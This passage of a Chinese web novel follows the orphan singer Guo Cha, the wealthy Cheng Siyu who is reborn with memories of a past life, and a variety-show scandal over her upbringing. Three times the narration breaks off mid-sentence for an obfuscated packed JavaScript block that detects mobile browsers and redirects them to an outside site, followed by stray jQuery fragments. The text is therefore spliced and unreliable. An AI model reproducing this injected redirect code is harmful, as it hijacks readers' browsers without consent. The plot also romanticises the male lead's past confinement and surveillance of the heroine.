吓得果茶赶紧捂住小狗的嘴巴,用气声哄道:“崽崽乖,别叫,哥哥在休息呢……”
她弯腰想将小狗抱出去,刚起身,手腕被一股力量扯回。
怀里的小狗“嘭”得一声敦实落地,用愤愤不平的小眼神瞪了程司屿一眼,收到后者警告的眼神后,它喉间呜咽一声,委屈但听话地自觉趴到了房门口。
果茶懵懵回头,只见程司屿轻声问:“茶茶,你回来了?是梦吗……”
他仰着头,似乎还未清醒,神情里除了往常的温润外,还隐隐带着一丝可怜劲儿,跟方才蜷在她怀里的小狗如出一辙。
“司屿哥哥,不是梦,我回来啦!”
果茶瞬间母性大爆发,坐到床沿握住他的手,“你身体感觉怎么样?好些了吗?”
助理虽然事后又特地跟她解释“已经看过医生,目前一切正常”,但她还是有些放心不下,得听到他亲口说“没事了”才行。
程司屿却疑惑蹙眉,“嗯?”
仿佛在询问:茶茶怎么会知道我生病了?我明明不想让你知道这种小事,害得你担心的。
果茶叹了口气,轻轻拍了拍他的手背,“身体不舒服要跟我说呀,虽然我帮不上什么忙,但好歹也能陪陪你……”
“那就足够了。”
即使她离开的这些天,几乎每天都有视频通话,可当亲眼看着她的时候,程司屿才深刻意识到自己有多么想她。
隔着一个电子屏幕的相见,远远无法消解这种思念。
直到茶茶的视线开始有些闪躲了,他才移开视线,“茶茶不用担心,我并无大碍,也许只是最近有些失眠。”
“失眠?”
最近是又开始“地球磁暴”现象了吗?怎么司屿哥哥和祝余都失眠了。
按摩?唱歌?讲故事?果茶哄人的方式不多,但管用就行。
她趴在床边,“要不要我哄你睡觉?很有用的!”
凝视着茶茶的笑容,程司屿心中却酸涩不已。
这样美好的笑,并不是只对他一个人。
他在节目组的监视器里看到了,昨夜茶茶和那个男人并坐在沙发上唱歌,月光洒在两人身上,很刺眼。
但他又不得不承认,在旁人看来,他们或许是登对的。他们有着一样的青春,一样的才气,一样的默契。
而他,一个死过一次的人,即使获得重生的恩赐,也掩盖不了身体里那种腐烂而潮湿的气息。
「坐酌泠泠水,看煎瑟瑟尘。无由持一碗,寄与爱茶人。」
好极了的一首诗,那人也将这首诗改编得极好,程司屿听得出词曲里流淌的缱绻爱意。
他会是未来陪伴在茶茶身边的人吗?
一想到这种可能性,脑中就仿佛扎进数千根针,刺得程司屿生疼。
但这一次,那道熟悉的痛感并没有如期而至,反而有一种温柔的力量将他包裹。
“这个力度可以吗?”
果茶双手抚在程司屿的太阳穴,轻轻打着旋。
但她自己扭着身子有些不舒服,便佯装埋怨道:“司屿哥哥,你也太没眼力见了,快往我这里挪一挪呀!”
程司屿从愣怔中回过神,病也不装了,慌乱支起身,按住她的手臂,“不用如此大费周章,等会儿该手酸了……”
“诶诶诶你还生着病呢!不准下床!”
果茶拦住他,“按摩而已!小费周章啦,我按得可好了,真的不要试试吗?”
嗯……有些心动,但他绝不可能让茶茶来“伺候”自己。程司屿失笑道:“不用……”
眼见茶茶有些失落地瘪起嘴,他明白是自己扫了小姑娘的兴,便柔声说:“茶茶……给我唱首歌,便好。”
“唱歌?”果茶狐疑瞥了他一眼。
难道她察觉到自己是在吃醋、跟祝余暗中较劲了?就在程司屿一颗心渐渐悬起时,只听茶茶说:“那都是哄小孩子的,原来你喜欢这个呀……”
哄小孩的?!小孩?!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285404|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
所以,茶茶给祝余唱安眠曲,只是拿他当哄小孩睡觉吗?
程司屿压住内心的欣喜,神色自然地顺势问:“那给人按摩是……”
“孝敬长辈呀!”果茶抢答道,说完还递给程司屿一个眼神,好像在说“好笨,这你都不知道”。
……很好。程司屿悬着的心终究还是死了。
果然就不该对“感情小白痴茶茶”报有太大希望。
果茶没察觉到他内心的弯弯绕绕,润了润嗓,轻声唱起来。
“那片笑声让我想起我的那些花儿
在我生命每个角落静静为我开着
我曾以为我会永远守在她身旁
今天我们已经离去在人海茫茫
她们都老了吧?
她们在哪里呀?
我们就这样各自奔天涯……”
-
这不是程司屿第一次听茶茶唱这首歌。
他甚至已经听过成千上万遍。
前世茶茶参与录制的那部医疗纪录片片尾曲,用的便是她唱的版本。
她虽像野草一样顽强,风把她吹到哪儿,她便能在哪儿肆意生长。可她也像野草一样易折,水的漫灌、鸟的啄食、山火的焚烧,都足以让她从世间消弭。
随着纪录片的播出,阴差阳错的,一直想登上荧幕被大众所看见的茶茶,竟在死后圆了这桩心愿。
人们被她患病时依旧乐观的精神打动,有很多很多人爱她、为她的离世而悲痛。
因为纪录片中程司屿也偶然露面几次,连带着他也成为“爱屋及乌”的对象。程氏集团公司股票价格一路水涨船高。
人人都道“他是个深情的好老公”:身居高位却不在乎妻子家境贫寒、妻子患病后日日衣不解带地悉心照料、以祭奠亡妻成立慈善基金会……
可只有程司屿知道,茶茶离世后的每一分每一秒,他都在被无尽的悔恨与痛苦凌迟。
他将自己锁在茶茶的房间,没日没夜反复播放着她留下的临终影像。他把茶茶的相片,包括他平日派人监视她时偷拍下来的照片,贴满自己的整个房间。
无法正常入眠,他便用工作和酒精来麻痹自己。但依旧不敢抽烟。
他又怕万一哪天茶茶回来了,闻到他满身的烟臭味,会更加厌恶他,然后再次头也不回地离开。
当梦中再也见不到茶茶的身影,哪怕是以噩梦的形式,当酒精也无法再让他入睡时,程司屿开始动了别的歪心思。
他暗中招揽各地“玄学大师”,企图通过招魂、托梦等手段与茶茶重逢,但都以失败告终,因为沉溺于这种歪门邪道,他把自己搞得人不像人、鬼不像鬼。
也没所谓了。反正他一直不过是具行尸走肉,因为茶茶,他才有了一丝生气。
茶茶走了,便带走了他存在于世的最后一缕气息。
“司屿哥哥……”
果茶沉浸式唱完最后一句,满意地睁开眼,正要让程司屿夸夸自己。
结果看到他满目布满血丝,悲恸的神色让她都忍不住心悸。
她的心猛得一跳,“你、你哭了?!”
22. 寄给茶茶的第22封信
“抱歉,”程司屿慌乱撇过头,“茶茶,时间不早了,你也快回房休息吧……”
他在掩饰。他不想将自己的脆弱面展现在茶茶面前,对于落泪这种懦弱无能的表现,他更是难以忍受。
他必须得是茶茶绝对强大的依靠。
可不知为何,自从重生后,他的情绪似乎越来越不受自己控制,每一分每一秒都会被茶茶所牵动。
“哦,”果茶随即起身,“那我真的走咯。”
门口趴了好久的小狗也“嗖”地跳起来,尾巴都摇成了螺旋桨。
“嗯。”
程司屿的嗓子刀割般酸痛,果然,茶茶不喜欢他脆弱的一面。
当然,他的其他面,茶茶也不喜欢。
果茶往外走一步,回头,“真走咯!”
小狗也向屋内“哒哒”跑两步,做好了迎接漂亮姐姐出去玩的准备。
果茶叹了口气,认栽似的扑到程司屿身上,将他环抱住,“怎么不高兴了?”
小狗瞬间耷拉下头,一脸幽怨地翘着屁股,重新坐回门口。
与茶茶隔得如此近,几乎能闻到她身上淡淡的香味,程司屿只觉得自己呼吸都快停止了。
“我唱的歌有这么难听吗?”果茶不满地嘟起嘴。
在她看来,是自己唱完那首歌后,程司屿就明显变得心情低落,所以肯定是因为她唱得不好听才会如此。
程司屿这才意识到闹了乌龙,“不是的茶茶,你唱得很好听,所以我才……”
“感动到落泪?”
程司屿顿了两秒,点头道:“对,感动落泪。”
是感动,这首歌曾是茶茶的绝唱,现在却成了她的“新生”。感谢上苍给了他悔过自新的机会。
更是后怕,如果他在重生后没有一次次抵住内心的阴暗,依旧不肯放手,茶茶还能以如此鲜活的一面出现在自己面前吗?他和茶茶还能以如此轻松温馨的关系共处一室吗?
甚至……
他将手虚虚揽在果茶腰间,感受着掌心的那抹柔软。
他竟也能等来茶茶的“投怀送抱”。即使他耍的手段并不算光明磊落,小姑娘也不过是一时心软、想要安抚他罢了。
但那又如何?奏效就行。
“好吧,看在你正生病的份上,”果茶轻轻拍着程司屿的后背,一下一下,“要是还想听,我还可以唱别的歌哦,是今天在录制时听到的一首歌,要不要……”
程司屿忙拦住她的话,转移话题:“要不要给小狗取个名字?”他实在不想从茶茶口中听到情敌为她作的歌。
听到这个提议,果茶立马从床边爬下去,蹲下身朝小狗招了招手,“崽崽,过来姐姐这儿!”
小狗屁颠屁颠跑到她身边,支起前肢直往她腿上刨,口水淌了果茶一身。
“啊啊啊别把我裙子抓烂啦,这可是公司接的赞助,姐姐赔不起呀!”
虽这么说,可果茶还是纵容地任由它乱来,然后回头向程司屿提议:“叫它崽崽怎么样?”
崽崽。
程司屿眸光一暗,还来不及将心中的疑惑问出,就看到极度亢奋的崽崽越发无法无天,他喝道:“崽崽!坐下!”
刚才还人来疯似的崽崽,在一声令下,一屁股墩儿坐定在地板上,眼神坚定得仿佛特种兵。
果茶失笑,蹲在它身前,无奈地用指尖点了点它毛绒绒的脑袋,“好呀你,竟然还知道看人下菜碟!”
崽崽偷偷瞥了眼一脸严肃的程司屿,不敢多嘴,只能呜咽着嗓用脑袋蹭了蹭果茶的手。
频繁露出的眼白简直就跟心虚的小孩子一样,鬼精鬼精。
“茶茶,”程司屿思忖数秒,试探性问,“为什么给它取名崽崽?”
他们前世养的那只边牧也叫“崽崽”,是巧合还是另有原因……
“因为这个名字很亲昵很美好呀,就像自己的宝贝一样,”果茶说得理所当然,“也是司屿哥哥的宝贝,不是吗?”
结合起来,就是茶茶和自己的宝贝。程司屿心下一动,连带着看崽崽都更加顺眼了。
“那如果……”程司屿放缓声音,“如果你很讨厌但又不得不和他生活在一起的一个人,送给你一只小狗,你还会给它取这个名字吗?”
果茶皱了皱眉,“有多讨厌?既然讨厌那为什么还要住在一起?”
“因为……他是一个十恶不赦的坏人,”程司屿垂下眼眸,喉间酸涩不已,“他强迫你和他在一起,把你锁在一个与世隔绝的地方……”
“咦惹!真够坏的!”果茶嫌弃地瘪起嘴。
是啊,真够坏的。死一百次也不为过。程司屿心道。
“不会!”果茶用力地摇摇头,“虽然小狗是无辜的。但只有喜欢的人送的小狗,才要赋予我喜欢的名字……”
程司屿倏地抬起头,“喜欢的人……?”
“对啊,”提到这个,果茶面带歉意的说,“司屿哥哥你都不知道,今天录制节目时我说了好多我喜欢的人,本来想要把你放在最后说的,但是被打断了。”
她舒了口气,“幸好被打断了!不然万一我说出来后被江知渺知道,就完蛋了!”她还记得自己和司屿哥哥之间的秘密约定。
而此时,程司屿的脑袋嗡嗡作响。
「只有喜欢的人送的小狗,才要赋予我喜欢的名字」
尽管程司屿知道,茶茶现在口中的“喜欢”并无关情爱。
可前世茶茶被他软禁在别墅,被他哄骗着与自己结婚,他们有了一次又一次的夫妻之实,她一定对自己恨之入骨,她为何还要给那只边牧取名“崽崽”?!
茶茶会不会……会不会其实早就给过他无数次机会。是他,太过自我,以至于白白让那些机会流失。
他们……他们本可以有个美好的结局。
-
翌日。
再三确认程司屿身体痊愈后,果茶才动身出发去客栈。
车窗缓缓升起时,程司屿用手抵住玻璃挡板,躬身捞起一直焦躁扒门的崽崽。
“汪!”
看到车内的茶茶,崽崽激动地大叫一声。
果茶也很不舍,但她在工作,带不了宠物,只能伸手揉揉狗头安抚一番。
“有空就给我打电话,”程司屿笑着说,“我随时都可以接你回家。”
他今天看起来心情很不错。果茶也跟着笑起来,“好。你要是身体不适或者又失眠了,要跟我说,不要什么事都藏在心里啦。”
果茶歪歪头,“我也可以是你的依靠呀,嗯……虽然可能靠不住。”
程司屿哑然失笑。
他爱的茶茶,就是这般热烈而赤诚的性子,他再也不可能弄丢了。
“好。”
像是许下某种承诺,程司屿格外庄重地点了点头,“往后,都听你的。”
*
回到客栈时,大家都正在忙。
祝余最先看到果茶,手上水渍都来不及擦干净,跑到她身前,“你哥哥没事吧?”
“没事,就是他最近失眠,身体太疲劳了。”
果茶边说边给不远处的乔如是挥手,打了声招呼。
失眠?这么巧?祝余按下心中的疑惑,装作不经意地问:“是你那位……司屿哥哥吗?”
果茶猛地扭头,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295559|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞪大双眼:“你怎么知道?”
“那天在海边你喝醉了,我扶你回客栈时,他给你打了电话。”
想起那位“司屿哥哥”如长了监控似的,知晓他们的一举一动,祝余仍心有余悸。
当真只是巧合吗?
还是……他确实一直都在他们看不见的地方监视着茶茶?
想到这里,祝余知道自己有些冒昧,但还是忍不住想要确认一番:“他……是你的亲哥哥吗?”
果茶正要回答,盛逢走了过来,客客气气地说:“茶茶,麻烦你去就餐区帮忙点下菜。”
……
手忙脚乱套上制服,再往衣领别上麦,果茶跟着盛逢走出了好几步,才想起来扭头跟祝余说:“我先去忙了啊。”
祝余了然点头。待两人走后,他一瞬不瞬盯着盛逢的背影,心里的疑惑更甚:盛逢的态度怎么变得奇奇怪怪,昨天茶茶走后,他也一直旁敲侧击向自己打听茶茶的家庭背景。
……他在搞什么鬼?
点单的是位外国友人。
对方说的不是英文,果茶一个单词都听不懂。当然,即使是英语,她也听不懂。
她正要求助盛逢,没想到他背着身子站在吧台,似乎在忙什么。
靠不住了。果茶硬着头皮,用带着乡镇口音的蹩脚英语说:“sorry,I…I…”
哎了半天也哎不出个所以然。
“噗呲”,身边有食客憋不住笑了。
一石激起千层浪,以果茶为中心,众人的哄笑如水波纹一般,一圈一圈向外辐射开来。
远在其他区域的祝余、乔如是、崔普,意识到发生了什么后,忙往这边赶过来。
一直装聋作哑的盛逢,这才恰如其时地施施然走到果茶身侧,用一口流利的英文对老外说:“不好意思先生,这个服务员不会说英语,接下来由我为您代劳。”
他说的很好,但老外也听不懂。
老外用比果茶口音更重的英文说:“我是法国人,请问你会说法语吗?”
刚才还牛气哄哄的盛逢,这会儿也偃旗息鼓了。
法语专业毕业的祝余如神天降,接过老外的话茬,有条不紊地替他点了单。
小插曲虽然就此揭过,但仍有不少爱看热闹的食客,用异样的目光频频打量起果茶。有善意的好奇,也有鄙夷的嫌弃。
而盛逢此时也很恼怒,本以为刚才会是自己的高光镜头,没想到给祝余做了嫁衣。
他不想将话题给祝余,便把难堪的矛盾点转到果茶身上:“茶茶,以后想学英语口语的话可以来找我。”
本以为果茶会羞愤难当,结果她笑得比谁都坦然:“好!谢谢你!”
?
脸皮这么厚的吗?刚才被一屋子的人取笑,她都没有一丝脸红的迹象。
昨夜看到她上了一辆顶级豪车,盛逢本以为她是什么隐藏的豪门千金。
但今日一看,哪个豪门千金连英语都不会?甚至还带着这么浓郁的乡下口音。说什么回家看哥哥,怕只是什么见不得光的“金主哥哥”吧。
盛逢内心鄙夷不已,却装得好心,“茶茶在哪里读的书?英语老师的教学水平一般呐……”
“云山镇,”果茶浑然不觉自己跳到了盛逢挖的坑里,“镇子里老师不多,比不了大城市。”
“你爸妈怎么也不把你送到更好的学校?”盛逢蹙眉问道,一副关切的神情。
祝余直觉不对,想要打住这个话题。结果茶茶嘴比心快。
“我没有爸爸妈妈。”
在一行人震惊的表情下,果茶粲然一笑,“我福利院长大的。”
23. 寄给茶茶的第23封信
#果茶果枝果果福利院#爆
#越山景区小灵狐孤儿#沸
果茶自爆身世没过一小时,两条热搜空降榜首,激起数万讨论。
果茶此前就因扮演景区小狐狸而走红,前几日《猫猫会客栈》开播又引起很多人喜爱,本就自带不少话题度,这次与过气女星果枝挂上钩,直接热度拉满。
【啊??妹宝是福利院长大的?!救命啊更加怜爱了,妈妈亲亲!】
【孤儿院姐妹勇闯娱乐圈……这是什么小说桥段,不过话说,怎么这么久都没见果枝发微博了?】
【不会上演一个姐妹为了利益反目成仇,妹妹顶替姐姐成为女明星的狗血剧本吧?哒咩!】
【楼上的,你看着茶茶那副清澈愚蠢的模样,把这话再说一遍?!】
还有客栈现场的食客蹭热度,发出果茶当着外国人说“蹩脚英语”的视频。
【救命啊啊啊替人尴尬的毛病又犯了!我要是她,估计这会儿已经买好站票连夜逃离地球了(允悲】
【九漏鱼又来了,当明星门槛真低】
【笑死,丢脸要丢到国外了】
【妹宝又没有立自己高学历人设,再说人家小镇做题家出身,福利院能供出个大学生已经很不容易了,你笑个锤子】
【我比较好奇的是,果茶考上的是传媒大学音乐系吧?福利院怎么有钱供她学艺术的?】
……
网上正在激烈讨论,拍摄现场也一团乱麻。
综艺片场路透这么快流出,显然有人在捣鬼,导演组决定暂时停止录制。
果茶的助理唐小彤带着她回保姆车稍作休息。
董成直接一个电话打了过来,劈头盖脸问道:“茶茶,接下来我问你的问题,你一定要如实回答,好吗?”
果茶后知后觉意识到自己的随口一句,竟引起了轩然大波。
她攥紧手机,正襟危坐,“好,董叔,您问。”
“你真的是孤儿?果果福利院长大?”
“是的。”
“你和果枝是果果福利院姐妹?”
“是的。”
“你现在在……谈恋爱吗?”
“是的。”
唐小彤瞪大双眼。
果茶瞬间反应过来,忙呸呸几声,“没有没有,我没有谈恋爱。”
董成闻言紧锁眉头:“当真没有?”
电话那头的茶茶斩钉截铁回道:“没有!”
那程总是什么情况?
董成陷入深思,果茶是程司屿力捧的人,所以他没怀疑过果茶的身份,他甚至一直以为茶茶也是个养尊处优、下凡体验生活的富家小姐,没想到她竟是个孤女。
那她和程司屿是怎么认识的?他们目前又是什么关系?
想到自己在经纪行业摸爬滚打这么多年,见识过的无数男女逸事,董成脸色一变,“茶茶,你……”
“怎么啦?董叔。”
女孩清甜的声音中带着一丝对长辈依赖,董成心中的疑虑一时哽在喉间。
这些天,唐小彤也有向他实时汇报茶茶录制时的点点滴滴,按他看人的眼光,茶茶应当不是为了钱权不择手段、攀龙附凤之人。
他话到嘴边突然转了个弯,“要是工作中遇到什么奇奇怪怪的人一定要跟董叔说,比如什么王董李总程总之类的,你记住,有钱有权的男人靠近女明星只有一个可能,贪图美色!”
果茶轻声笑道:“好,我记住了!谢谢董叔。”
说完后,她才小心翼翼地问:“董叔,是不是我在节目里说的话,给你带了很多麻烦?”
董成被她那股可怜劲儿惹得直心软,这么懂事礼貌又有潜力的小明星谁能不喜欢,嗯……除了说话太没心眼、容易被人坑。
“没有的事,这点小事,你董叔要是都摆不平,趁早卷铺盖走人得了,省得晚节不保。”
董成给果茶下完定心丸,前脚刚挂断电话,程司屿跟往他手机里装了监控似的,后脚就打了进来。
“董叔,辛苦你了。”
电话那头的程司屿似乎正在处理事务,纸张翻页的声音窸窣可闻,“还有什么问题,直接问我就好。”
*
猫猫会客栈,录制继续。
导演组临时起意拍了组后采。
采拍果茶的位置选在靠海的落地窗边。
PD先问到“英语口音”争议:“刚才被其他人哄笑时,会觉得丢脸或尴尬吗?”
果茶没料到节目组会问这个问题,在她看来,这甚至都算不上一件值得放在心上的事情,她一脸莫名其妙地说:“为什么会丢脸?”
啊?这还不丢脸吗……
PD被问倒了,正常人不都会觉得很下不来台吗?
“虽然我的英语口语很差,但高考英语成绩也还不错呀,只是我的成长环境并没有那么多机会,让我去用英语对话。”
果茶歪了歪脑袋,有些委屈,“再说了,那位法国人说的英语也不标准呀,口音比我还重呢,怎么就笑我不笑他……”
是潜意识里崇洋的谄媚,更是奴性的霸凌。从外面失去的自尊,只能在同类中得到补偿。
PD沉默半晌,直到耳麦中传来导演的一声“可以”,她才接着问下一个问题:“怎么会想到学声乐专业呢?学这个应该要花不少钱吧?”
果茶认真解释道:“因为福利院会举办一些活动,我小时候上台唱歌的视频被放在了福利院官网,然后有好心人通过邮件联系了果果妈妈,说愿意资助我学声乐。我一直很感谢这位好心人,但因为是匿名资助也不知道该怎么找到她……”
她看着摄像头,眼睛亮晶晶的,“可以在这里感谢一下吗?”
PD点点头。
果茶深深鞠了个躬,“谢谢六年前资助我读书的那位好心人,我是果果福利院的茶茶,我现在已经健康长大啦,还考上了花城传媒大学音乐治疗专业,希望我没有辜负您的期望!”
不远处,听到这番话的乔如是愣在原地。
她转身上了楼,在阁楼的杂货箱底层翻出一个许久没用的老式手机,充上电后,手机闪了好几次屏才恢复正常。
点开相册,从上千张照片中,精准找到一个小女孩在台上唱歌的视频。
视频中的小女孩落落大方地自己报幕:“叔叔阿姨哥哥姐姐们大家好,我叫茶茶,我要演唱的歌曲是《今天是你的生日,妈妈》”
……
是她!她就是那个茶茶!难怪她第一眼看到果茶就觉得很眼熟很亲切。
乔如是捂上眼睛,强忍住泪水。
她当年和崔普参加了那场募捐活动,当时就想领养茶茶,但茶茶毕竟大了又重感情,不愿离开福利院,夫妻俩只好作罢。
回家后思来想去,乔如是决定换一种形式,匿名资助茶茶读书、学音乐。崔普见她实在太喜欢茶茶,怕她陷进去,便提出一次性付清资助费用。
后来夫妻俩又做了很多慈善,资助的小孩成百上千,渐渐就淡忘了茶茶。
没想到……没想到他们的缘分并没有断。
与崔普说了这件事后,夫妻俩决定暂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305274|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时将此事埋在心中。
他们不愿这个时候出风头,拿这件事去博眼球、认领声名,更不想给上升期的茶茶太多压力,甚至导致他们之间的感情变了味。
夫妻俩下楼时,果茶的采拍正好结束。
乔如是忍了又忍,还是难耐内心对茶茶的怜爱,于是张开双臂,将她紧紧抱到怀里,“茶茶,恭喜你健康长大了。”
回望茶茶湿漉漉的笑眼,乔如温柔地说:“我相信你一定没有辜负那个人的期望。”
*
经过一下午的发酵,各路文娱营销号大V早已挖出果茶在福利院生活、在景区兼职时的零星片段,有人写长文颂扬女孩逆境生长的坚韧乐观精神,有人剪视频讲述她知恩图报、奋发图强的励志故事。
舆论风向早已没了最初对果茶的质疑和嘲讽。
晚八点,“猫猫会客栈”官微准时发布果茶的单人问答。
【猫猫会客栈V】我们茶茶妹宝是一株顽强生长的小草呀。#茶茶我现在已经健康长大啦#(视频详情请戳→)
官方问答视频一出,更让人对果茶心生怜爱。
【嘲笑小姑娘英语口音的人是真没品,茶茶说的对,那老外口音那么重怎么没人笑他?不就是看人小姑娘好欺负吗?再说了,这里是花国!来吃饭凭什么要顺从他们的语言,自己不会入乡随俗学几句通用中文吗?】
【呜呜呜是我的宝宝!好喜欢茶茶宝宝啊!不卑不亢,光明磊落,不行了我要原地入坑了!!】
【快点的吧你,我都在坑底躺平了】
【这期综艺什么时候播啊啊啊!好想看妹宝!!】
【不是,你们都没关注茶茶最后一句话吗?她已经很久没联系上果枝了!帮忙找找人呐!】
……
这件事不仅让果茶的微博涨粉三十多万,连带着过气女星果枝也再次挤进大众视野,上万人涌进她的社交平台喊话——
“你妹妹正在找你呢!快上线!”
-
今日录制结束。
盛逢坐在返程保姆车里,气得面目扭曲。
自从来到这个破综艺后就诸事不顺!想给祝余使绊子,结果屡屡让他出了风头。
想让没眼光的乡巴佬果茶难堪,结果半天不到给她虐到了几十万粉丝,风评更是一路水涨船高。
太邪门了吧!白痴网友果然没有自己的判断,动不动就被人牵着鼻子走!
助理战战兢兢将手机递给盛逢:“哥,张哥来电话了,你……”你脾气收着点,他听起来好像也在发脾气。
后面的话还没来得及说,盛逢就一把抢走手机,“喂,干嘛!”
“你他妈做了什么?!”电话那头跟吃了炸药似的,分贝直飙。
本来正在气头上的盛逢瞬间放老实了,“怎、怎么了?”
“是不是你让人把路透放出去了?还给那小明星买了黑稿?!”
“……有什么问题吗?”盛逢不觉得自己有什么错,这种事他出道以来做过无数次,公司不是早就知道了吗?有什么好大惊小怪的。
“我草!给你脸了!你、你要气死我啊!”经纪人气得破口大骂,“你知道她是谁的人吗!”
盛逢猛得想起昨晚的那辆豪车,卧槽忘了这茬!
光记得她不是货真价实豪门千金,只是福利院的村丫头,忘了她还有个“金主哥哥”!
“谁……谁呀?”
“程……”这个名字刚到嘴边,经纪人瞬间噤声,大吼道,“你他妈现在赶紧给老子滚回公司!立刻!马上!”
24. 寄给茶茶的第24封信
一路狂飙到公司。
推开艺人部会议室,经纪人张力正点头哈腰不知与谁在通电话。
盛逢难得老实地贴墙站着,不敢吱声。
张力打完电话后,一扭头看到他,脸色瞬间拉下,“你现在能耐了是吧,做什么事都不带跟我汇报的?真觉着自己没了公司也能红透半边天?”
盛逢慌忙摇头。
“你看祝余在那个综艺待得开心,非吵着要去,好,我允许了。这么多年一直给他使绊子,我睁一只眼闭一只眼,谁让你比他更会讨领导欢心呢?”张力咧着嘴皮笑肉不笑,“哪知道你现在手这么长,还伸到别人地盘上去了?”
盛逢无力解释:“我只是气她总帮祝余,而且我查了她的公司,不过就是个刚成立还没半年的小公司,没、没想到……”
“那公司他爹的幕后老板是程司屿!程司屿你知道吗!那是你的金主爸爸、整个公司最大的领导都想要攀附的人脉!”
张力气急败坏地狠狠拍起桌子,整个会议室震感强烈。
盛逢的脸色倏地变得煞白,一张嘴还在硬撑:“我、我也没把她怎么着啊,还帮她涨了几十万粉,那大人物不能这么小心眼吧……”
张力气笑了,无语地伸出食指指头朝他点了点,随后一副不与傻子争长短地瘫坐下来。
真是造孽了摊上这么个蠢货。
盛逢后知后觉明白,像那般运筹帷幄的上位者,恐怕早就养了百万公关团队,已经做好万全准备来应对各种可能的风险,包括“果茶福利院身世曝出”。
而他,抱着坏心思捅出这件事,撞到了枪口上,还差点伤到果茶,这才是那位在意的重点。
想到这层,盛逢话里都不禁带上了哭腔,“那……那怎么办啊!哥,你可不能不管我啊!”
张力叹了口气,“托那小姑娘的经纪人帮你打听到程总的电话,你先跟人好好解释一下道个歉,不行就求你大老板组个局,探探口风再说吧!”
拨了三次,在响铃的最后几秒,终于被人接通。
对面没有出声。
趁电话还没有被挂断,盛逢抓紧时间道歉:“程总不好意思打扰您了,我是万星娱乐的盛逢,今天综艺中发生的事是个误会,我这人就是心直口快,实际上并无意针对茶茶……”
“汪汪!”
盛逢愣住,狐疑地看了看手机屏幕,是程总的工作号码没错啊,哪儿来的狗叫?
下一秒,一道朦胧的声音响起,“好狗,再叫两声听听?”
盛逢抬眸,用问询的眼神看向张力,对方摆摆手让他自己看着办。
盛逢犹豫片刻,咬咬牙,学起狗叫:“汪、汪!”
窸窣细响,似乎是手机被人拾起。
半晌,电话那头的声音拉近了,变得更加清晰,“抱歉,方才在跟家中的狗说话,你是?”
……
盛逢的沉默震耳欲聋。
说他傲慢,他还知道说“抱歉”;说他知礼,他模棱两可骗人学狗叫。不带这么羞辱人的!
但在绝对权威面前,讲理无门便只能老实受着。他又觍着脸解释了一遍。
等待对方回复的时间仿佛凝固了,既沉重又煎熬,盛逢能感觉到,如果程司屿真的很在意这件事,那他离死期就不远了。公司说不定会用牺牲他来做投诚程司屿的献礼。
“既然惹了茶茶,为何向我道歉?”程司屿的声音淡淡的,听不出多余的情绪。
盛逢面上一喜,难不成只是他们大惊小怪了,程司屿压根就没把那村丫头放在心上?!
只听对面“啧”了一声,“不过茶茶为人纯良,定能原谅你。”
“但我不会。”
程司屿的话仿佛凝了一层厚厚的冰,“让你旁边的人听清楚了,要道歉就拿出诚意来。”
“你还不够资格说话。”
*
没过一天,盛逢在微博发长文@果茶,先是绘声绘色描述自己在节目录制中与茶茶相处的点滴小事,将她的为人处事风格都盛赞一番,然后为自己的“傲慢无礼”诚挚道歉,并表示自己“今后一定会修身养性、谨言慎行”。
本来“果茶身世曝光”这件事,在外人眼里是茶茶自己无心说出来的,盛逢这么一道歉,反而坐实了是他的“有心之举”。
有聪明的网友便开始深挖他以往的所作所为,一时争议四起。
【嘴贱就是嘴贱,粉丝别洗什么耿直人设,之前他也阴阳怪气过好多明星吧?一副天大地大老子最大的做派,现在翻车了吧?】
【我粉zy的,我都不敢说其实sf这么多年一直在各种公开场合拉踩zy,只要他俩同台,必有骂zy的黑稿铺天盖地……】
不过顶流给小明星搭台的情况不多见。不知情的网友们只觉得是茶茶的人格魅力太强,短短几日就收获了圈内好友,便更加放心地入坑躺平了。
而盛逢的粉丝们则真以为自家哥哥和果茶相处极好,出于“替爱豆行为买账”的愧疚感以及“混淆视听”的策略,组团去果茶微博下留言。
【sf真的只是缺心眼!如果不小心让妹妹伤心了,我先在此替他道个歉!!】
【很高兴哥哥在节目中交到了好朋友!希望妹宝和哥哥能友谊长存!不要听那些黑子的风言风语,我看得出来哥哥真的很欣赏你的!】
【散了吧,我们哥哥和妹宝都好着呢!逢哥好,茶茶好,挑拨离间的人坏!】
一来二去,获利最多的还是果茶,从“英语都说不好的九漏鱼乡下妹”到“乐观率真的坚韧小草”,真正实现了口风大逆转。
最重要的是,在全网喊话下,果枝终于现身了!
